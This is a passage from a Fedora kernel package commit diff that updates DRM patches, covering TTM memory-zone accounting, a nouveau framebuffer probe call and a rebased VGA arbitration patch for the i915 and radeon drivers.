- * @max_total_memory: Total memory available to non-root processes.
- * @emer_total_memory: Total memory available to root processes.
+ * @zones: Array of pointers to accounting zones.
+ * @num_zones: Number of populated entries in the @zones array.
+ * @zone_kernel: Pointer to the kernel zone.
+ * @zone_highmem: Pointer to the highmem zone if there is one.
+ * @zone_dma32: Pointer to the dma32 zone if there is one.
  *
  * Note that this structure is not per device. It should be global for all
  * graphics devices.
  */
 
+#define TTM_MEM_MAX_ZONES 2
+struct ttm_mem_zone;
 struct ttm_mem_global {
+	struct kobject kobj;
 	struct ttm_mem_shrink *shrink;
 	struct workqueue_struct *swap_queue;
 	struct work_struct work;
 	wait_queue_head_t queue;
 	spinlock_t lock;
-	uint64_t emer_memory;
-	uint64_t max_memory;
-	uint64_t swap_limit;
-	uint64_t used_memory;
-	uint64_t used_total_memory;
-	uint64_t total_memory_swap_limit;
-	uint64_t max_total_memory;
-	uint64_t emer_total_memory;
+	struct ttm_mem_zone *zones[TTM_MEM_MAX_ZONES];
+	unsigned int num_zones;
+	struct ttm_mem_zone *zone_kernel;
+#ifdef CONFIG_HIGHMEM
+	struct ttm_mem_zone *zone_highmem;
+#else
+	struct ttm_mem_zone *zone_dma32;
+#endif
 };
 
 /**
@@ -146,8 +146,13 @@ static inline void ttm_mem_unregister_shrink(struct ttm_mem_global *glob,
 extern int ttm_mem_global_init(struct ttm_mem_global *glob);
 extern void ttm_mem_global_release(struct ttm_mem_global *glob);
 extern int ttm_mem_global_alloc(struct ttm_mem_global *glob, uint64_t memory,
-				bool no_wait, bool interruptible, bool himem);
+				bool no_wait, bool interruptible);
 extern void ttm_mem_global_free(struct ttm_mem_global *glob,
-				uint64_t amount, bool himem);
+				uint64_t amount);
+extern int ttm_mem_global_alloc_page(struct ttm_mem_global *glob,
+				     struct page *page,
+				     bool no_wait, bool interruptible);
+extern void ttm_mem_global_free_page(struct ttm_mem_global *glob,
+				     struct page *page);
 extern size_t ttm_round_pot(size_t size);
 #endif
diff --git a/include/drm/ttm/ttm_module.h b/include/drm/ttm/ttm_module.h
index d1d4338..cf416ae 100644
--- a/include/drm/ttm/ttm_module.h
+++ b/include/drm/ttm/ttm_module.h
@@ -32,6 +32,7 @@
 #define _TTM_MODULE_H_
 
 #include <linux/kernel.h>
+struct kobject;
 
 #define TTM_PFX "[TTM] "
 
@@ -54,5 +55,6 @@ extern void ttm_global_init(void);
 extern void ttm_global_release(void);
 extern int ttm_global_item_ref(struct ttm_global_reference *ref);
 extern void ttm_global_item_unref(struct ttm_global_reference *ref);
+extern struct kobject *ttm_get_kobj(void);
 
 #endif /* _TTM_MODULE_H_ */

drm-nouveau.patch:
 drivers/gpu/drm/Kconfig                     |   45 
 drivers/gpu/drm/Makefile                    |    2 
 drivers/gpu/drm/i2c/Makefile                |    4 
 drivers/gpu/drm/i2c/ch7006_drv.c            |  531 
 drivers/gpu/drm/i2c/ch7006_mode.c           |  473 
 drivers/gpu/drm/i2c/ch7006_priv.h           |  344 
 drivers/gpu/drm/nouveau/Makefile            |   29 
 drivers/gpu/drm/nouveau/nouveau_acpi.c      |  125 
 drivers/gpu/drm/nouveau/nouveau_backlight.c |  155 
 drivers/gpu/drm/nouveau/nouveau_bios.c      | 5499 ++++++
 drivers/gpu/drm/nouveau/nouveau_bios.h      |  235 
 drivers/gpu/drm/nouveau/nouveau_bo.c        |  620 
 drivers/gpu/drm/nouveau/nouveau_calc.c      |  626 
 drivers/gpu/drm/nouveau/nouveau_channel.c   |  482 
 drivers/gpu/drm/nouveau/nouveau_connector.c |  755 
 drivers/gpu/drm/nouveau/nouveau_connector.h |   55 
 drivers/gpu/drm/nouveau/nouveau_crtc.h      |   95 
 drivers/gpu/drm/nouveau/nouveau_debugfs.c   |  157 
 drivers/gpu/drm/nouveau/nouveau_display.c   |  115 
 drivers/gpu/drm/nouveau/nouveau_dma.c       |  206 
 drivers/gpu/drm/nouveau/nouveau_dma.h       |  148 
 drivers/gpu/drm/nouveau/nouveau_drv.c       |  421 
 drivers/gpu/drm/nouveau/nouveau_drv.h       | 1281 +
 drivers/gpu/drm/nouveau/nouveau_encoder.h   |   66 
 drivers/gpu/drm/nouveau/nouveau_fb.h        |   47 
 drivers/gpu/drm/nouveau/nouveau_fbcon.c     |  360 
 drivers/gpu/drm/nouveau/nouveau_fbcon.h     |   48 
 drivers/gpu/drm/nouveau/nouveau_fence.c     |  262 
 drivers/gpu/drm/nouveau/nouveau_gem.c       |  954 +
 drivers/gpu/drm/nouveau/nouveau_hw.c        | 1078 +
 drivers/gpu/drm/nouveau/nouveau_hw.h        |  448 
 drivers/gpu/drm/nouveau/nouveau_i2c.c       |  256 
 drivers/gpu/drm/nouveau/nouveau_i2c.h       |   45 
 drivers/gpu/drm/nouveau/nouveau_ioc32.c     |   72 
 drivers/gpu/drm/nouveau/nouveau_irq.c       |  688 
 drivers/gpu/drm/nouveau/nouveau_mem.c       |  572 
 drivers/gpu/drm/nouveau/nouveau_notifier.c  |  195 
 drivers/gpu/drm/nouveau/nouveau_object.c    | 1294 +
 drivers/gpu/drm/nouveau/nouveau_reg.h       |  788 
 drivers/gpu/drm/nouveau/nouveau_sgdma.c     |  318 
 drivers/gpu/drm/nouveau/nouveau_state.c     |  872 +
 drivers/gpu/drm/nouveau/nouveau_swmthd.h    |   33 
 drivers/gpu/drm/nouveau/nouveau_ttm.c       |  131 
 drivers/gpu/drm/nouveau/nv04_crtc.c         | 1019 +
 drivers/gpu/drm/nouveau/nv04_cursor.c       |   70 
 drivers/gpu/drm/nouveau/nv04_dac.c          |  529 
 drivers/gpu/drm/nouveau/nv04_dfp.c          |  621 
 drivers/gpu/drm/nouveau/nv04_display.c      |  293 
 drivers/gpu/drm/nouveau/nv04_fb.c           |   21 
 drivers/gpu/drm/nouveau/nv04_fbcon.c        |  295 
 drivers/gpu/drm/nouveau/nv04_fifo.c         |  257 
 drivers/gpu/drm/nouveau/nv04_graph.c        |  579 
 drivers/gpu/drm/nouveau/nv04_instmem.c      |  210 
 drivers/gpu/drm/nouveau/nv04_mc.c           |   20 
 drivers/gpu/drm/nouveau/nv04_timer.c        |   51 
 drivers/gpu/drm/nouveau/nv04_tv.c           |  305 
 drivers/gpu/drm/nouveau/nv10_fb.c           |   24 
 drivers/gpu/drm/nouveau/nv10_fifo.c         |  248 
 drivers/gpu/drm/nouveau/nv10_graph.c        |  949 +
 drivers/gpu/drm/nouveau/nv17_tv.c           |  689 
 drivers/gpu/drm/nouveau/nv17_tv.h           |  156 
 drivers/gpu/drm/nouveau/nv17_tv_modes.c     |  583 
 drivers/gpu/drm/nouveau/nv20_graph.c        |  769 
 drivers/gpu/drm/nouveau/nv40_fb.c           |   62 
 drivers/gpu/drm/nouveau/nv40_fifo.c         |  304 
 drivers/gpu/drm/nouveau/nv40_graph.c        | 2247 ++
 drivers/gpu/drm/nouveau/nv40_mc.c           |   38 
 drivers/gpu/drm/nouveau/nv50_crtc.c         |  810 +
 drivers/gpu/drm/nouveau/nv50_cursor.c       |  151 
 drivers/gpu/drm/nouveau/nv50_dac.c          |  295 
 drivers/gpu/drm/nouveau/nv50_display.c      |  902 +
 drivers/gpu/drm/nouveau/nv50_display.h      |   46 
 drivers/gpu/drm/nouveau/nv50_evo.h          |  113 
 drivers/gpu/drm/nouveau/nv50_fbcon.c        |  256 
 drivers/gpu/drm/nouveau/nv50_fifo.c         |  481 
 drivers/gpu/drm/nouveau/nv50_graph.c        |  472 
 drivers/gpu/drm/nouveau/nv50_grctx.h        |22284 ++++++++++++++++++++++++++++
 drivers/gpu/drm/nouveau/nv50_instmem.c      |  508 
 drivers/gpu/drm/nouveau/nv50_mc.c           |   40 
 drivers/gpu/drm/nouveau/nv50_sor.c          |  250 
 drivers/gpu/drm/nouveau/nvreg.h             |  535 
 drivers/gpu/drm/ttm/ttm_bo.c                |    4 
 include/drm/Kbuild                          |    1 
 include/drm/i2c/ch7006.h                    |   86 
 include/drm/nouveau_drm.h                   |  216 
 85 files changed, 58719 insertions(+)

Index: drm-nouveau.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/drm-nouveau.patch,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- drm-nouveau.patch	29 Sep 2009 03:21:19 -0000	1.61
+++ drm-nouveau.patch	8 Oct 2009 04:32:54 -0000	1.62
@@ -13005,7 +13005,7 @@ index 0000000..071e3c6
 +{
 +	NV_DEBUG(dev, "\n");
 +
-+	return drm_fb_helper_single_fb_probe(dev, nouveau_fbcon_create);
++	return drm_fb_helper_single_fb_probe(dev, 32, nouveau_fbcon_create);
 +}
 +
 +int

drm-vga-arb.patch:
 drivers/gpu/drm/drm_irq.c              |   27 +++++++++++++++++++++++++++
 drivers/gpu/drm/i915/i915_dma.c        |   20 ++++++++++++++++++++
 drivers/gpu/drm/i915/i915_drv.h        |    1 +
 drivers/gpu/drm/i915/i915_reg.h        |    1 +
 drivers/gpu/drm/i915/intel_display.c   |   17 +++++++++++++++++
 drivers/gpu/drm/i915/intel_drv.h       |    1 +
 drivers/gpu/drm/radeon/r100.c          |   14 ++++++++++++++
 drivers/gpu/drm/radeon/r600.c          |   14 ++++++++++++++
 drivers/gpu/drm/radeon/r600d.h         |    1 +
 drivers/gpu/drm/radeon/radeon.h        |    2 ++
 drivers/gpu/drm/radeon/radeon_asic.h   |   12 ++++++++++++
 drivers/gpu/drm/radeon/radeon_device.c |   19 +++++++++++++++++++
 include/drm/drmP.h                     |    3 +++
 13 files changed, 132 insertions(+)

Index: drm-vga-arb.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/drm-vga-arb.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- drm-vga-arb.patch	25 Sep 2009 03:43:52 -0000	1.8
+++ drm-vga-arb.patch	8 Oct 2009 04:32:54 -0000	1.9
@@ -1,38 +1,6 @@
-From 28d520433b6375740990ab99d69b0d0067fd656b Mon Sep 17 00:00:00 2001
-From: Dave Airlie <airlied at redhat.com>
-Date: Mon, 21 Sep 2009 14:33:58 +1000
-Subject: [PATCH] drm/vgaarb: add VGA arbitration support to the drm and kms.
-
-VGA arb requires DRM support for non-kms drivers, to turn on/off
-irqs when disabling the mem/io regions.
-
-VGA arb requires KMS support for GPUs where we can turn off VGA
-decoding. Currently we know how to do this for intel and radeon
-kms drivers, which allows them to be removed from the arbiter.
-
-This patch comes from Fedora rawhide kernel.
-
-Signed-off-by: Dave Airlie <airlied at redhat.com>
----
- drivers/gpu/drm/drm_irq.c              |   27 +++++++++++++++++++++++++++
- drivers/gpu/drm/i915/i915_dma.c        |   20 ++++++++++++++++++++
- drivers/gpu/drm/i915/i915_drv.h        |    1 +
- drivers/gpu/drm/i915/i915_reg.h        |    1 +
- drivers/gpu/drm/i915/intel_display.c   |   17 +++++++++++++++++
- drivers/gpu/drm/i915/intel_drv.h       |    1 +
- drivers/gpu/drm/radeon/r100.c          |   14 ++++++++++++++
- drivers/gpu/drm/radeon/r600.c          |   14 ++++++++++++++
- drivers/gpu/drm/radeon/r600d.h         |    1 +
- drivers/gpu/drm/radeon/radeon.h        |    2 ++
- drivers/gpu/drm/radeon/radeon_asic.h   |   12 ++++++++++++
- drivers/gpu/drm/radeon/radeon_device.c |   21 ++++++++++++++++++++-
- include/drm/drmP.h                     |    3 +++
- 13 files changed, 133 insertions(+), 1 deletions(-)
-
-diff --git a/drivers/gpu/drm/drm_irq.c b/drivers/gpu/drm/drm_irq.c
-index f85aaf2..0a6f0b3 100644
---- a/drivers/gpu/drm/drm_irq.c
-+++ b/drivers/gpu/drm/drm_irq.c
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/drm_irq.c.da linux-2.6.31.noarch/drivers/gpu/drm/drm_irq.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/drm_irq.c.da	2009-09-10 08:13:59.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/drm_irq.c	2009-10-08 14:21:08.000000000 +1000
 @@ -37,6 +37,7 @@
  
  #include <linux/interrupt.h>	/* For task queue support */
@@ -68,7 +36,7 @@ index f85aaf2..0a6f0b3 100644
  /**
   * Install IRQ handler.
   *
-@@ -231,6 +252,9 @@ int drm_irq_install(struct drm_device *dev)
+@@ -231,6 +252,9 @@ int drm_irq_install(struct drm_device *d
  		return ret;
  	}
  
@@ -78,7 +46,7 @@ index f85aaf2..0a6f0b3 100644
  	/* After installing handler */
  	ret = dev->driver->irq_postinstall(dev);
  	if (ret < 0) {
-@@ -279,6 +303,9 @@ int drm_irq_uninstall(struct drm_device * dev)
+@@ -279,6 +303,9 @@ int drm_irq_uninstall(struct drm_device 
  
  	DRM_DEBUG("irq=%d\n", dev->pdev->irq);
  
@@ -88,10 +56,9 @@ index f85aaf2..0a6f0b3 100644
  	dev->driver->irq_uninstall(dev);
  
  	free_irq(dev->pdev->irq, dev);
-diff --git a/drivers/gpu/drm/i915/i915_dma.c b/drivers/gpu/drm/i915/i915_dma.c
-index 9909505..5a49a18 100644
---- a/drivers/gpu/drm/i915/i915_dma.c
-+++ b/drivers/gpu/drm/i915/i915_dma.c
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_dma.c.da linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_dma.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_dma.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_dma.c	2009-10-08 14:21:08.000000000 +1000
 @@ -33,6 +33,7 @@
  #include "intel_drv.h"
  #include "i915_drm.h"
@@ -100,7 +67,7 @@ index 9909505..5a49a18 100644
  
  /* Really want an OS-independent resettable timer.  Would like to have
   * this loop run for (eg) 3 sec, but have the timer reset every time
-@@ -1012,6 +1013,19 @@ static int i915_probe_agp(struct drm_device *dev, uint32_t *aperture_size,
+@@ -1012,6 +1013,19 @@ static int i915_probe_agp(struct drm_dev
  	return 0;
  }
  
@@ -120,7 +87,7 @@ index 9909505..5a49a18 100644
  static int i915_load_modeset_init(struct drm_device *dev,
  				  unsigned long prealloc_size,
  				  unsigned long agp_size)
-@@ -1057,6 +1071,11 @@ static int i915_load_modeset_init(struct drm_device *dev,
+@@ -1057,6 +1071,11 @@ static int i915_load_modeset_init(struct
  	if (ret)
  		DRM_INFO("failed to find VBIOS tables\n");
  
@@ -132,7 +99,7 @@ index 9909505..5a49a18 100644
  	ret = drm_irq_install(dev);
  	if (ret)
  		goto destroy_ringbuffer;
-@@ -1324,6 +1343,7 @@ int i915_driver_unload(struct drm_device *dev)
+@@ -1324,6 +1343,7 @@ int i915_driver_unload(struct drm_device
  
  	if (drm_core_check_feature(dev, DRIVER_MODESET)) {
  		drm_irq_uninstall(dev);
@@ -140,11 +107,10 @@ index 9909505..5a49a18 100644
  	}
  
  	if (dev->pdev->msi_enabled)
-diff --git a/drivers/gpu/drm/i915/i915_drv.h b/drivers/gpu/drm/i915/i915_drv.h
-index 77ed060..a0632f8 100644
---- a/drivers/gpu/drm/i915/i915_drv.h
-+++ b/drivers/gpu/drm/i915/i915_drv.h
-@@ -766,6 +766,7 @@ static inline void opregion_enable_asle(struct drm_device *dev) { return; }
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_drv.h.da linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_drv.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_drv.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_drv.h	2009-10-08 14:21:08.000000000 +1000
+@@ -766,6 +766,7 @@ static inline void opregion_enable_asle(
  /* modesetting */
  extern void intel_modeset_init(struct drm_device *dev);
  extern void intel_modeset_cleanup(struct drm_device *dev);
@@ -152,10 +118,9 @@ index 77ed060..a0632f8 100644
  
  /**
   * Lock test for when it's just for synchronization of ring access.
-diff --git a/drivers/gpu/drm/i915/i915_reg.h b/drivers/gpu/drm/i915/i915_reg.h
-index e38cd21..3f79635 100644
---- a/drivers/gpu/drm/i915/i915_reg.h
-+++ b/drivers/gpu/drm/i915/i915_reg.h
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_reg.h.da linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_reg.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_reg.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/i915_reg.h	2009-10-08 14:21:08.000000000 +1000
 @@ -30,6 +30,7 @@
   * fb aperture size and the amount of pre-reserved memory.
   */
@@ -164,11 +129,10 @@ index e38cd21..3f79635 100644
  #define INTEL_GMCH_ENABLED	0x4
  #define INTEL_GMCH_MEM_MASK	0x1
  #define INTEL_GMCH_MEM_64M	0x1
-diff --git a/drivers/gpu/drm/i915/intel_display.c b/drivers/gpu/drm/i915/intel_display.c
-index 155719f..0227b16 100644
---- a/drivers/gpu/drm/i915/intel_display.c
-+++ b/drivers/gpu/drm/i915/intel_display.c
-@@ -3917,3 +3917,20 @@ struct drm_encoder *intel_best_encoder(struct drm_connector *connector)
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_display.c.da linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_display.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_display.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_display.c	2009-10-08 14:21:08.000000000 +1000
+@@ -3928,3 +3928,20 @@ struct drm_encoder *intel_best_encoder(s
  
  	return &intel_output->enc;
  }
@@ -189,21 +153,19 @@ index 155719f..0227b16 100644
 +	pci_write_config_word(dev_priv->bridge_dev, INTEL_GMCH_CTRL, gmch_ctrl);
 +	return 0;
 +}
-diff --git a/drivers/gpu/drm/i915/intel_drv.h b/drivers/gpu/drm/i915/intel_drv.h
-index b9e47f1..3a0004f 100644
---- a/drivers/gpu/drm/i915/intel_drv.h
-+++ b/drivers/gpu/drm/i915/intel_drv.h
-@@ -178,4 +178,5 @@ extern int intel_framebuffer_create(struct drm_device *dev,
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_drv.h.da linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_drv.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_drv.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/i915/intel_drv.h	2009-10-08 14:21:08.000000000 +1000
+@@ -181,4 +181,5 @@ extern int intel_framebuffer_create(stru
  				    struct drm_mode_fb_cmd *mode_cmd,
  				    struct drm_framebuffer **fb,
  				    struct drm_gem_object *obj);
 +
  #endif /* __INTEL_DRV_H__ */
-diff --git a/drivers/gpu/drm/radeon/r100.c b/drivers/gpu/drm/radeon/r100.c
-index 737970b..be51c5f 100644
---- a/drivers/gpu/drm/radeon/r100.c
-+++ b/drivers/gpu/drm/radeon/r100.c
-@@ -1955,6 +1955,20 @@ void r100_vram_init_sizes(struct radeon_device *rdev)
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/r100.c.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/r100.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/r100.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/r100.c	2009-10-08 14:21:08.000000000 +1000
+@@ -1763,6 +1763,20 @@ void r100_vram_init_sizes(struct radeon_
  		rdev->mc.real_vram_size = rdev->mc.aper_size;
  }
  
@@ -224,11 +186,10 @@ index 737970b..be51c5f 100644
  void r100_vram_info(struct radeon_device *rdev)
  {
  	r100_vram_get_type(rdev);
-diff --git a/drivers/gpu/drm/radeon/r600.c b/drivers/gpu/drm/radeon/r600.c
-index 5f42fad..eab31c1 100644
---- a/drivers/gpu/drm/radeon/r600.c
-+++ b/drivers/gpu/drm/radeon/r600.c
-@@ -1499,6 +1499,20 @@ int r600_startup(struct radeon_device *rdev)
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600.c.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600.c	2009-10-08 14:21:08.000000000 +1000
+@@ -1534,6 +1534,20 @@ int r600_startup(struct radeon_device *r
  	return 0;
  }
  
@@ -249,10 +210,9 @@ index 5f42fad..eab31c1 100644
  int r600_resume(struct radeon_device *rdev)
  {
  	int r;
-diff --git a/drivers/gpu/drm/radeon/r600d.h b/drivers/gpu/drm/radeon/r600d.h
-index 723295f..4a9028a 100644
---- a/drivers/gpu/drm/radeon/r600d.h
-+++ b/drivers/gpu/drm/radeon/r600d.h
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600d.h.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600d.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600d.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/r600d.h	2009-10-08 14:21:08.000000000 +1000
 @@ -78,6 +78,7 @@
  #define CB_COLOR0_MASK                                  0x28100
  
@@ -261,103 +221,82 @@ index 723295f..4a9028a 100644
  #define	CP_STAT						0x8680
  #define	CP_COHER_BASE					0x85F8
  #define	CP_DEBUG					0xC1FC
-diff --git a/drivers/gpu/drm/radeon/radeon.h b/drivers/gpu/drm/radeon/radeon.h
-index 817af8e..c839b60 100644
---- a/drivers/gpu/drm/radeon/radeon.h
-+++ b/drivers/gpu/drm/radeon/radeon.h
-@@ -596,6 +596,7 @@ struct radeon_asic {
- 	int (*suspend)(struct radeon_device *rdev);
- 	void (*errata)(struct radeon_device *rdev);
- 	void (*vram_info)(struct radeon_device *rdev);
-+	void (*vga_set_state)(struct radeon_device *rdev, bool state);
- 	int (*gpu_reset)(struct radeon_device *rdev);
- 	int (*mc_init)(struct radeon_device *rdev);
- 	void (*mc_fini)(struct radeon_device *rdev);
-@@ -954,6 +955,7 @@ static inline void radeon_ring_write(struct radeon_device *rdev, uint32_t v)
- #define radeon_cs_parse(p) rdev->asic->cs_parse((p))
- #define radeon_errata(rdev) (rdev)->asic->errata((rdev))
- #define radeon_vram_info(rdev) (rdev)->asic->vram_info((rdev))
-+#define radeon_vga_set_state(rdev, state) (rdev)->asic->vga_set_state((rdev), (state))
- #define radeon_gpu_reset(rdev) (rdev)->asic->gpu_reset((rdev))
- #define radeon_mc_init(rdev) (rdev)->asic->mc_init((rdev))
- #define radeon_mc_fini(rdev) (rdev)->asic->mc_fini((rdev))
-diff --git a/drivers/gpu/drm/radeon/radeon_asic.h b/drivers/gpu/drm/radeon/radeon_asic.h
-index 5f2a9e6..8968f78 100644
---- a/drivers/gpu/drm/radeon/radeon_asic.h
-+++ b/drivers/gpu/drm/radeon/radeon_asic.h
-@@ -47,6 +47,7 @@ uint32_t r100_mm_rreg(struct radeon_device *rdev, uint32_t reg);
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_asic.h.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_asic.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_asic.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_asic.h	2009-10-08 14:24:29.000000000 +1000
+@@ -47,6 +47,7 @@ extern int r100_suspend(struct radeon_de
+ extern int r100_resume(struct radeon_device *rdev);
+ uint32_t r100_mm_rreg(struct radeon_device *rdev, uint32_t reg);
  void r100_mm_wreg(struct radeon_device *rdev, uint32_t reg, uint32_t v);
- void r100_errata(struct radeon_device *rdev);
- void r100_vram_info(struct radeon_device *rdev);
 +void r100_vga_set_state(struct radeon_device *rdev, bool state);
  int r100_gpu_reset(struct radeon_device *rdev);
- int r100_mc_init(struct radeon_device *rdev);
- void r100_mc_fini(struct radeon_device *rdev);
-@@ -89,6 +90,7 @@ static struct radeon_asic r100_asic = {
- 	.init = &r100_init,
- 	.errata = &r100_errata,
- 	.vram_info = &r100_vram_info,
+ u32 r100_get_vblank_counter(struct radeon_device *rdev, int crtc);
+ void r100_pci_gart_tlb_flush(struct radeon_device *rdev);
+@@ -78,6 +79,7 @@ static struct radeon_asic r100_asic = {
+ 	.fini = &r100_fini,
+ 	.suspend = &r100_suspend,
+ 	.resume = &r100_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r100_gpu_reset,
- 	.mc_init = &r100_mc_init,
- 	.mc_fini = &r100_mc_fini,
-@@ -158,6 +160,7 @@ static struct radeon_asic r300_asic = {
- 	.init = &r300_init,
- 	.errata = &r300_errata,
- 	.vram_info = &r300_vram_info,
+ 	.gart_tlb_flush = &r100_pci_gart_tlb_flush,
+ 	.gart_set_page = &r100_pci_gart_set_page,
+@@ -130,6 +132,7 @@ static struct radeon_asic r300_asic = {
+ 	.fini = &r300_fini,
+ 	.suspend = &r300_suspend,
+ 	.resume = &r300_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = &r300_mc_init,
- 	.mc_fini = &r300_mc_fini,
-@@ -208,6 +211,7 @@ static struct radeon_asic r420_asic = {
+ 	.gart_tlb_flush = &r100_pci_gart_tlb_flush,
+ 	.gart_set_page = &r100_pci_gart_set_page,
+@@ -166,6 +169,7 @@ static struct radeon_asic r420_asic = {
+ 	.fini = &r420_fini,
+ 	.suspend = &r420_suspend,
  	.resume = &r420_resume,
- 	.errata = NULL,
- 	.vram_info = NULL,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = NULL,
- 	.mc_fini = NULL,
-@@ -262,6 +266,7 @@ static struct radeon_asic rs400_asic = {
- 	.init = &r300_init,
- 	.errata = &rs400_errata,
- 	.vram_info = &rs400_vram_info,
+ 	.gart_tlb_flush = &rv370_pcie_gart_tlb_flush,
+ 	.gart_set_page = &rv370_pcie_gart_set_page,
+@@ -207,6 +211,7 @@ static struct radeon_asic rs400_asic = {
+ 	.fini = &rs400_fini,
+ 	.suspend = &rs400_suspend,
+ 	.resume = &rs400_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = &rs400_mc_init,
- 	.mc_fini = &rs400_mc_fini,
-@@ -323,6 +328,7 @@ static struct radeon_asic rs600_asic = {
- 	.init = &rs600_init,
- 	.errata = &rs600_errata,
- 	.vram_info = &rs600_vram_info,
+ 	.gart_tlb_flush = &rs400_gart_tlb_flush,
+ 	.gart_set_page = &rs400_gart_set_page,
+@@ -252,6 +257,7 @@ static struct radeon_asic rs600_asic = {
+ 	.fini = &rs600_fini,
+ 	.suspend = &rs600_suspend,
+ 	.resume = &rs600_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = &rs600_mc_init,
- 	.mc_fini = &rs600_mc_fini,
-@@ -372,6 +378,7 @@ static struct radeon_asic rs690_asic = {
- 	.init = &rs600_init,
- 	.errata = &rs690_errata,
- 	.vram_info = &rs690_vram_info,
+ 	.gart_tlb_flush = &rs600_gart_tlb_flush,
+ 	.gart_set_page = &rs600_gart_set_page,
+@@ -290,6 +296,7 @@ static struct radeon_asic rs690_asic = {
+ 	.fini = &rs690_fini,
+ 	.suspend = &rs690_suspend,
+ 	.resume = &rs690_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &r300_gpu_reset,
- 	.mc_init = &rs690_mc_init,
- 	.mc_fini = &rs690_mc_fini,
-@@ -428,6 +435,7 @@ static struct radeon_asic rv515_asic = {
- 	.init = &rv515_init,
- 	.errata = &rv515_errata,
- 	.vram_info = &rv515_vram_info,
+ 	.gart_tlb_flush = &rs400_gart_tlb_flush,
+ 	.gart_set_page = &rs400_gart_set_page,
+@@ -334,6 +341,7 @@ static struct radeon_asic rv515_asic = {
+ 	.fini = &rv515_fini,
+ 	.suspend = &rv515_suspend,
+ 	.resume = &rv515_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &rv515_gpu_reset,
- 	.mc_init = &rv515_mc_init,
- 	.mc_fini = &rv515_mc_fini,
-@@ -477,6 +485,7 @@ static struct radeon_asic r520_asic = {
- 	.init = &rv515_init,
- 	.errata = &r520_errata,
- 	.vram_info = &r520_vram_info,
+ 	.gart_tlb_flush = &rv370_pcie_gart_tlb_flush,
+ 	.gart_set_page = &rv370_pcie_gart_set_page,
+@@ -369,6 +377,7 @@ static struct radeon_asic r520_asic = {
+ 	.fini = &rv515_fini,
+ 	.suspend = &rv515_suspend,
+ 	.resume = &r520_resume,
 +	.vga_set_state = &r100_vga_set_state,
  	.gpu_reset = &rv515_gpu_reset,
- 	.mc_init = &r520_mc_init,
- 	.mc_fini = &r520_mc_fini,
-@@ -520,6 +529,7 @@ int r600_init(struct radeon_device *rdev);
+ 	.gart_tlb_flush = &rv370_pcie_gart_tlb_flush,
+ 	.gart_set_page = &rv370_pcie_gart_set_page,
+@@ -400,6 +409,7 @@ int r600_init(struct radeon_device *rdev
  void r600_fini(struct radeon_device *rdev);
  int r600_suspend(struct radeon_device *rdev);
  int r600_resume(struct radeon_device *rdev);
@@ -365,26 +304,25 @@ index 5f2a9e6..8968f78 100644
  int r600_wb_init(struct radeon_device *rdev);
  void r600_wb_fini(struct radeon_device *rdev);
  void r600_cp_commit(struct radeon_device *rdev);
-@@ -556,6 +566,7 @@ static struct radeon_asic r600_asic = {
